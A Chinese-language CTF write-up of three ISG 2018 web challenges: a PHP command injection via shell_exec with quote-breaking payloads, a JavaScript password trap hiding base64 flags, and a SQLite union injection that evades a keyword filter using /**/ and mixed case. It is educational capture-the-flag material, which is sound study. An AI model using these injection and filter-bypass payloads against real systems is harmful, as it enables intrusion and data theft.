ISG 2018 Web Writeup
作者:agetflag
原文来自:ISG 2018 Web Writeup
ISG 2018 Web Writeup
CTF萌新,所以写的比较基础,请大佬们勿喷,比赛本身的Web题也不难
calc
首先看到题目后,在输入框中测试了一下,发现可以被执行
首先猜想是不是ssti,模板注入,但是平常遇到的模板注入题目中,python的居多,php的没怎么遇到过,有点怀疑如果是php的模板注入的话也不一定能搞得出来,这个时候扫一下目录
python dirsearch.py -u http://202.120.7.205:60003/ -e php -t 60
发现存在git源码泄露
直接上githack看看能够拖下来什么东西
python2 GitHack.py -u "http://202.120.7.205:60003/.git/"
将index.php
下载了下载
开启代码审计模式
第22~27行对GET
方法是否被使用做了一次判断
<?php
$str="";
if(!empty($_GET)){
$str=$_GET["calc"];
}
?>
第40~42行对变量$str
是否为空做了一次判断
<?php
if($str !== ""){
}
?>
接下来到第44~46行这里,看到使用了shell_exec
函数,基本可以判断为命令注入了
<?php
echo $str." = ".shell_exec("echo \"$str\" | bc");
?>
接下来开始绕过
测试的话可以把shell_exec
里面的内容粘贴到linux 的bash中进行测试
echo \"$str\" | bc
可以看到\"
转义字符输出"
,
即
echo "$str" | bc
$str
函数是我们可以控制的值
开始绕过之旅
|
在命令执行漏洞中经常用到,表示管道,上一条命令的输出,作为下一条命令参数
所以,会把echo 后的内容传值到bc
命令,但是经过测试发现bc命令是不存在的,所以用linux 中的注释符#
注释掉它,基本构造如下
echo "$str#" | bc
这样来说,可以注释掉后面的bc命令了,但是因为有"
的阻碍,使我们没法达到目的,所以闭合掉双引号,再加上管道符
构造如下
echo ""|$str#" | bc
将$str
替换为ls
命令,本地验证通过
构造payload,列一下题目的当前目录
"| ls #
发现flag文件there_1s_4_fl4g
构造payload读取
"| cat there_1s_4_fl4g #
secret
题目打开之后有弹窗
随便输入后,提示密码错误,右击查看源代码
发现第6~16行中包含了密码和要输出的内容
<script type="text/javascript">
a = prompt("Password");
if(a=="H4CK3D")
{
alert("Flag is '"+atob("WW91IGFyZSBUcmFwcGVkIDopIFRoaXMgaXMgbm90IHRoZSBmbGFnLiBDaGVjayBhcm91bmQu")+"'");
}
else
{
alert("Wrong Password!");
}
</script>
其中prompt
方法用于显示可提示用户进行输入的对话框
atob
函数是javascript中用于解密base64编码的方法,直接解密字符串
>>> import base64
>>> base64.b64decode("WW91IGFyZSBUcmFwcGVkIDopIFRoaXMgaXMgbm90IHRoZSBmbGFnLiBDaGVjayBhcm91bmQu")
b'You are Trapped :) This is not the flag. Check around.'
发现并没有flag
提示让我们去周围找一找
访问index.html
页面,发现进行了302跳转到了trap.html
页面
我们直接查看index.html
页面的源码
发现其6~8行进行了一次302跳转
直接看下面的代码
在45~55行中发现类似的前一个页面的代码
<script type="text/javascript">
a = prompt("Password");
if(a=="H4CK3D")
{
alert("Flag is "+atob("ZmxhZzpJU0d7SDNJSU9fMXNHX2pzX1RyNHB9"));
}
else
{
alert("Wrong Password!");
}
</script>
直接解密得到flag
>>> import base64
>>> base64.b64decode("ZmxhZzpJU0d7SDNJSU9fMXNHX2pzX1RyNHB9")
b'flag:ISG{H3IIO_1sG_js_Tr4p}'
news
这个题考察了sqlite
的注入,进行了简单的危险函数判断
这里刚开始普及一些sqllite
知识
sqllite基础
sqllite数据库注入和mysql数据库注入很像,不同点在于,sqllite数据库没有information_schema
数据库,而是采用sqlite_master
表,来存储当前数据库中所有表的相关信息,比如表的名称、用于创建此表的sql语句、索引、索引所属的表、创建索引的sql语句等。它的字段有
type,name,tbl_name,rootpage,sql
type
为类型
1.查询表信息
如果要查询表的信息,则type字段为“table”,name字段为表的名称,返回结果中返回的sql字段,为创建此表的sql语句。
select * from sqlite_master where type=’table’ and name=‘表名’;
2.查询索引信息
如果要查询索引信息,则type字段为“index”,name字段为索引名称,返回结果中的tbl_name字段为该索引所属的表,sql字段为创建此索引的sql语句。
select * from sqlite_master where type=’index’ and name=‘索引名’;
sql
为创建数据表的语句,这个对我们非常有用
name
对于表来说,是当前表的名字,对于索引来说是当前索引的名称
tbl_name
是该索引所属的表的名字
rootpage
根据字面意思理解,应该是这个对象在数据库文件中的第一个页面位置。类似链表的一个指针
手工注入
首先去看它的codesafe
函数这里判断了什么内容
在代码的第47~51行
def codesafe(n):
if re.search("select", n) or re.search(" ", n) or re.search("where", n) or re.search("=", n) or re.search("'", n):
return False
else:
return True
可以看到,当其中有select
、空格、where
、=
、'
时,返回False
会触发第73~74行这里进行截断返回
if not codesafe(id):
return 'Hacker?'
了解请了这些后,开始注入
首先,判断空格可以通过/**/
,来进行绕过,判断select
可以采用大小写来绕过
where
和=
可以不用
这里采用了伪静态的模式,后面拼接.html
可能是web.py
框架里面内置判断,不拼接.html
会显示404页面
开始注入
判断字段数为2
http://202.120.7.206:60019/news-1/**/order/**/by/**/2.html
判断显示位
http://202.120.7.206:60019/news-4/**/union/**/Select/**/1,2.html
查看建表的sql
语句,可以直接获取字段和表名
http://202.120.7.206:60019/news-4/**/union/**/Select/**/sql,2/**/from/**/sqlite_master.html
直接查看flag
http://202.120.7.206:60019/news-4/**/union/**/Select/**/flag,2/**/from/**/flag.html
大家有任何问题可以提问,更多文章可到i春秋论坛阅读哟~
ISG 2018 Web Writeup的更多相关文章
- 攻防世界 WEB 高手进阶区 HCTF 2018 warmup Writeup
攻防世界 WEB 高手进阶区 HCTF 2018 warmup Writeup 题目介绍 题目考点 PHP代码审计 Writeup 打开 http://220.249.52.134:37877 常规操 ...
- 2018 Web 开发者路线图[转载]
2018 Web 开发者路线图[转载] https://qianduan.group/posts/5a66f36e0cf6b624d2239c74?hmsr=toutiao.io&utm_me ...
- 强网杯2018 - nextrsa - Writeup
强网杯2018 - nextrsa - Writeup 原文地址:M4x@10.0.0.55 所有代码均已上传至我的github 俄罗斯套娃一样的rsa题目,基本把我见过的rsa套路出了一遍,值得记录 ...
- [SHA2017](web) writeup
[SHA2017](web) writeup Bon Appétit (100) 打开页面查看源代码,发现如下 自然而然想到php伪协议,有个坑,看不了index.php,只能看 .htaccess ...
- BuuCTF Web Writeup
WarmUp index.php <html lang="en"> <head> <meta charset="UTF-8"> ...
- [WUST-CTF]Web WriteUp
周末放假忙里偷闲打了两场比赛,其中一场就是武汉科技大学的WUST-CTF新生赛,虽说是新生赛,题目质量还是相当不错的.最后有幸拿了总排第5,记录一下Web的题解. checkin 进入题目询问题目作者 ...
- 强网杯2018 Web签到
Web签到 比赛链接:http://39.107.33.96:10000 比赛的时候大佬对这题如切菜一般,小白我只能空流泪,通过赛后看别人的wp,我知道了还有这种操作. 这个赛题分为3层 第一层 Th ...
- [MRCTF]Web WriteUp
和武科大WUSTCTF同时打的一场比赛,最后因为精力放在武科大比赛上了,排名13 - -Web题目难度跨度过大,分不清层次,感觉Web题目分布不是很好,质量还是不错的 Ez_bypass 进入题目得 ...
- [易霖博YCTF]Web WriteUp
中午队里师傅发到群里的比赛,借来队里师傅账号和队里其他师傅一起做了一下,ak了web,师傅们tql.学到挺多东西,总结一下. rce_nopar 进入题目给出源码: <?php if(isset ...
随机推荐
- 实用矩阵类(Matrix)(带测试)
引言: 无意间看到国外一个网站写的Matrix类,实现了加减乘除基本运算以及各自的const版本等等,功能还算比较完善,,于是记录下来,以备后用: #ifndef MATRIX_H #define M ...
- dskinlite(uieasy mfc界面库)使用记录4:绘制动态元素(listbox)
效果图: XML代码: 299行的headerctrl只针对listview有效,这里是listbox,忽略 wirelessName,wirelessStatus,wirelessSignal会通过 ...
- 利用mybatis generator实现数据库之间的表同步
项目背景: 项目需要对两个服务器上的表进行同步,表的结构可能不一样.比如服务器A上的表i同步数据到服务器B上的表j,i和j的结构可能不一样,当然大部分字段是一样的.项目看起来很简单,网上一搜也是很多, ...
- SQL Injection-Http请求的参数中对特殊字符的处理
1.背景:最近学习webgoat到了SQL Injection的这一课,要完成这一课需要拦截Http请求,修改参数,不过在修改的参数中加入特殊字符才能完成.下面让我们一起来学习吧. 2.题目: 大致翻 ...
- GUI学习之四——QWidget控件学习总结
上一章将的QObject是PyQt里所有控件的基类,并不属于可视化的控件.这一章所讲的QWidget,是所有可视化控件的基类. QWidget包含下面几点特性 a.控件是用户界面的最小的元素 b.每个 ...
- html 页面 判断第一个反应的网站并进行跳转 模仿CDN
<!DOCTYPE html><html><head><meta charset="gb2312"><meta http-eq ...
- 【机器学习】K均值算法(I)
K均值算法是一类非监督学习类,其可以通过观察样本的离散性来对样本进行分类. 例如,在对如下图所示的样本中进行聚类,则执行如下步骤 1:随机选取3个点作为聚类中心. 2:簇分配:遍历所有样本然后依据每个 ...
- C语言错题集
1.输入两个int型数a.b,求a/b的商c,不必考虑b为0的情况,输出c(保留两位小数) include<stdio.h> int main() { int a,b; float c; ...
- JavaScript变量声明var,let.const
var声明变量的作用域限制在其声明位置的上下文中 var x = 0; // x是全局变量,并且赋值为0. console.log(typeof z); // undefined,因为z还不存在. f ...
- C++标准库之右值引用相关:引用折叠
引用折叠 引用折叠出现的情况在于范型编程时. void f(T&& param); f(10); int x = 10; f(x); 这两者都可运行成功. 由于存在T&& ...